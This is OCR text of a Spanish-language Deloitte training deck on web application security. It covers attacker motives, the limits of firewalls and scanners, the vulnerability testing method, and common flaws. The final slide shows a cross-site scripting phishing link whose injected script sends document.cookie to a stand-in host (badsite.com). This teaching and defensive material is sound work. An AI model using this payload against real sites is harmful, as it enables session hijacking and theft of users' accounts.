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- Vulnerabilidades en aplicaciones web
De|0|tte El mito: Nosotros estamos seguros

“Nuestra aplicacion es segura”:

+ Tenemos firewalls instalados

+ Ciframos nuestros datos

¢+ Tenemos redes basadas en IDS

+ Realizamos auditorias de seguridad una vez al trimestre

¢+ Tenemos una politica de Seguridad y Privacidad
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m Vulnerabilidades en aplicaciones web
Deloitte Seguridad de aplicaciones web

¢ La securizacion de la “dltima milla” de la infraestructura de internet
es critica hoy en dia, ya que los ataques contindan creciendo en
ndmero y sofisticacion.

+ Si bien la implantacion de cortafuegos, la configuracion segura de
los sistemas operativos y la instalacion de parches son criticos en
la infraestructura, resultan insuficientes para detener la Ultima
generacion de atagues.

¢ La construccion de la seguridad en las fases mas tempranas del

Ciclo de Vida de la Aplicacion es esencial para conseguir una
seguridad mejor y una ganancia de la inversion en la seguridad.
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= Vulnerabilidades en aplicaciones web
DeIOItte Defectos de seguridad en las aplicaciones web

Frecuentes

3 de cada 4 paginas web de

3% negocios son vulnerables a los
Full Control and ataques (Gartner)
Access to Inf\ormanon Penetrantes
4% Minor Breach

75% de los ataques ocurren en el

T ivel de Apli Gart
. T% Moy Information nivel de Aplicacion (Gartner)

7% Hiack ___ Indetectables

Transaction
Herramientas de testeo de QA no
han sido disefiadas para detectar
defectos de seguridad en las

25% Privacy Breach aplicaciones
93% \ Instalacion manual de parches -
e-Shaplfting . reactivo, nunca termina, consume
3% Delete Web Site tiempo y recursos
Peligros

Sobre 2000 aplicaciones auditadas, un 98% de Cuando explotan, los defectos de
ellas resultaron vulnerables (en todos los casos seguridad destruyen el valor de la
tenian soluciones de cifrado implantadas...) compafiia y la confianza del

cliente
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= Vulnerabilidades en aplicaciones web
DeIOItte Cibercrimen en Crecimiento

CERT Reported Vulnerabilities and Incidents

Vulnerabilities == Incidents De media, hay de 5 a 15 errores en cada
1.000 lineas de codigo.

US Dept. de Defensa y el Instituto
de Ingenieria del Software.

_ Lleva unos 75 minutos de media localizar
_ un error. Reparar uno de estos errores lleva

entre 2y 9 horas
5 Year Pentagon Study

Una compafia con 1.000 servidores
puede perder $300,000 para probar y
desplegar un parche; la mayor parte de las
compalfiias despliegan varios parches a la
semana.

Gartner Group
1995 1996 1997 1998 1999 2000 2001
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= Vulnerabilidades en aplicaciones web
De|0|tte Cibercrimen en crecimiento

¢, Por qué atacan?
Toma ficheros valiosos o informacion
* Robo de ficheros
+ Numeros de tarjetas de crédito, E-keys, informes contables etc.
Venganzay odio
+ Alguién "fue despedido”
Promocionar su propia reputacion
+ "Escalar a lo mas alto de la sociedad de Hackers”
Guerra
+ Dano luchando espiritualmente con su enemigo

Gamberrismo

+ Solo por hacer "dafno”
Emocidn y excitacion

+ Poder de estar en un sitio en el que no estas autorizado a estar.
Por conocimiento y experimentar

+ Los Hackers aprenden cada vez que rompen un nuevo tipo de sistema.
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= Vulnerabilidades en aplicaciones web
De|0|tte Cibercrimen en crecimiento

Pueden haber varias razones por las que alguien ataque un
sistema, pero nada pasa sin la OPORTUNIDAD

Un viejo dicho:

“Un ladron es s6lo un hombre honesto con una
oportunidad”.

Abandonar tus aplicaciones web abiertas,
Invita a alguien a que tome las ventajas de
las oportunidades que le estas ofreciendo!
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- Vulnerabilidades en aplicaciones web
Deloitte Redes vs Seguridad en Aplicaciones Web

!|:| _ Front-End  Application Database
— Firewall Server Server

- Los Firewall bloquean el trafico/protocolos no deseados

- Los puertos abiertos generalmente permiten el trafico libre en el protocolo
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m Vulnerabilidades en aplicaciones web
Deloitte

Redes vs Seguridad en Aplicaciones Web

- NMAP
- SuperScan
Port Scan
D \ Front-End Application Database
. Firewall Server Server
-

<@
e
N\

- Un escaner de puertos convencional mapeara solo puertos
gue den respuesta.
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P Vulnerabilidades en aplicaciones web
De|0|tte Redes vs Seguridad en Aplicaciones Web

SV
L
Scri
- 1SS ?( co
Network y \
- Nessus B soabase N
/'Scanner App. Server
- Cybercop Network Web server
Vulnerability .
L _ Front-End Application Database
Secure Scan E Firewa Server Server
- (Whisker) - = - -
CGl
\— ‘Nl -
- X FEN
Internet /)| e semver
N——

- Los escaner de vulnerabilidades de la red detectan puertos abiertos y servicios.
- Un buen escaner soélo escaneara un niumero de vulnerabilidades conocidas.

- La mayoria de los escaners tendran una base de datos registrada que contendra un
namero limitado de chequeos de vulnerabilidad dentro de cada una de las plataformas.
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Vulnerabilidades en aplicaciones web
Redes vs Seguridad en Aplicaciones Web

Application
Vulnerability
Scan

-

- Un escaner de vulnerabilidades de aplicaciones chequeara tanto
vulnerabilidades conocidas (CWV) como vulnerabilidades especificas

Application
Vulnerability
Scanner

.

Firewall

ASV
HTML
Script
CGl

Cwv
(O]

Database

App. Server
Web server

Front-End

de la aplicacion (ASV).

- Cerca del 29% de todas las paginas de Internet contienen CWV’s, pero

cerca del 100% contienen ASV's!

Server

ASV
HTML
Script
CGI

CWv
Database
oS

‘ 4 App. Server
L\ Web server

Application

Server

Database
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m Vulnerabilidades en aplicaciones web
Deloitte Redes vs Seguridad en Aplicaciones Web

Application
Manipulation

Ll Front-End Application Database

L —— Firewall Server Server
Internet :g:ﬁA-! X
N\

/ Host based/ \

D Network based

- Si un intruso intenta manipular los datos dentro del protocolo
HTTP la peticion pasara directamente a traves del firewall.

- Un sistema de Deteccion de Intrusion no sera capaz de
detectar un ataque a la aplicacion web.
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- Vulnerabilidades en aplicaciones web
De|0|tte Casos de atagques en aplicaciones web

11/12/2002 — Datos de millones de usuarios
expuestos por un fallo de programacion web

23/08/2003 — Nuevo caso de “phishing”,
esta vez con Citibank

10/03/2000 — Piratas
de chaquetay corbata

22/10/2002 — Se inicia
OpenHack 4

08/08/2003 — Cross Site Scripting en
servidores BEA WebLogic

11/07/2000 — Los datos de

“Gran Hermano” al descubierto 28/09/2000 — La Agencia de Proteccion
de Datos multa a Telefonica

09/03/2003 — Problema de inyeccion de
codigo SQL en PHPNuke
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= Test de Inerabilidade
Deloitte > I (IZ(I)ntextg

e —— —— — — —— — —— —— — —— — — — —

Internet
s '. |
' .' i
Firewall :
\ . / Load ot
| / | Application Servers Backend
I
.- | T
T ' : ¥
| Databases
. | Web Servers
(7 e e e e e e e e e e e Ee e e e e e o e e e -
Web Application Level
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m Test de vulnerabilidades
Deloitte Objetivos

Se identificaran riesgos de los siguientes tipos:

+ Pérdida de confidencialidad de la informacion (corporativa o de clientes)
¢ Suplantacion de la identidad de clientes
¢ Deformaciones o cambios del sitio web

+ Modificacion de datos en transacciones

¢ [Interrupcion del servicio
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= Test de Inerabilidade
Deloitte Nl 'Enfoque

ANALISIS PRELIMINAR

- Exploracién del sitio web
- Definicion de las pruebas a realizar

TEST DE VULNERABILIDADES

- Ejecucion de pruebas masivas
- Ejecucion de pruebas manuales
- Identificacion de potenciales vulnerabilidades

ANALISIS Y VALORACION DE VULNERABILIDADES

- Analisis, comprobacion y filtrado de las vulnerabilidades potenciales
- Valoracion del riesgo asociado a las vulnerabilidades reales
- Elaboracion del informe de aspectos detectados y recomendaciones
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= Test de Inerabilidade
Deloitte 3 Pruebas

Control de
la sesion

Validacion
entradas

Autenticacion

Autorizacion Bases de datos Servidor web

Alteracion intuitiva de parametros de comandos

Anélisis de cddigo html y javascript

: : : ;
| ' . ! |
: : Cross-site- | :
: i scripting : I
. ; : | i
. | .z | 0
Manipulacion : : : : Navegacion
camposrocultos , i : : masiva
| i : Buffer | : por directorios
! . - : overflow | !
: | Pruebas limitadas | ! |
: | sobre el control ) : E
| i de estado : : :
1 | | ! |
| L, | ' !
: Alteracion de ) ! Inyeccién SQL E
: Parametros : : : :
: de entrada : E E I
| | ' 0 0
| : : | E Chequeo
: Insercion i : vulnerabilidades
| ! |
| : |
' : 1
I
|
|
|

Validacién de vulnerabilidades identificadas en pruebas masivas

1 1
1 1
1 1
. . |
Pruebas mas:lvas mediante herramle;nta
1
1

1
Pruebas manuales
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Vulnerabilidades frecuentes
Manipulacion de campos
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Vulnerabilidades frecuentes
Manipulacion de campos
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DQIOitte Vulnerabilidades frecuentes

Manipulacion de campos
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i Vulnerabilidades frecuentes
DeIOItte Comando encubierto
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f Vulnerabilidades frecuentes
DeIOItte Comando encubierto
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Alteracion de parametros
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Vulnerabilidades frecuentes

Deloitte Alteracion de parametros
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Tl Vulnerabilidades frecuentes
DeIOItte Cross Site Scripting

Welcome.asp

E’urle“o,

<WY= request.querystring(“name’”)%>
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= Vulnerabilidades frecuentes
Deloitte Cross Site Scripting

™ Win a 51,000,000!! - Messagg

File Edit ‘Wiew Inserk  Format

Mormal « Trebuchet M3

To... |Mary@MgISP.mm

.. ||

Subject: |'-.-'-.-'in a $1,000,0000

/ Click here to claim your prizel
<a href=

http://www. Insecuresite.com/welcome.asp?name=
<FORM action=http://www.badsite.com/data.asp
method=post 1d=*“i1dForm”>
<INPUT name=*“cookie” type=*“hidden’>
</FORM>
<SCRIPT>
idForm.cookie.value=document.cookie;
idForm.submit();
</SCRIPT>>
here</a>
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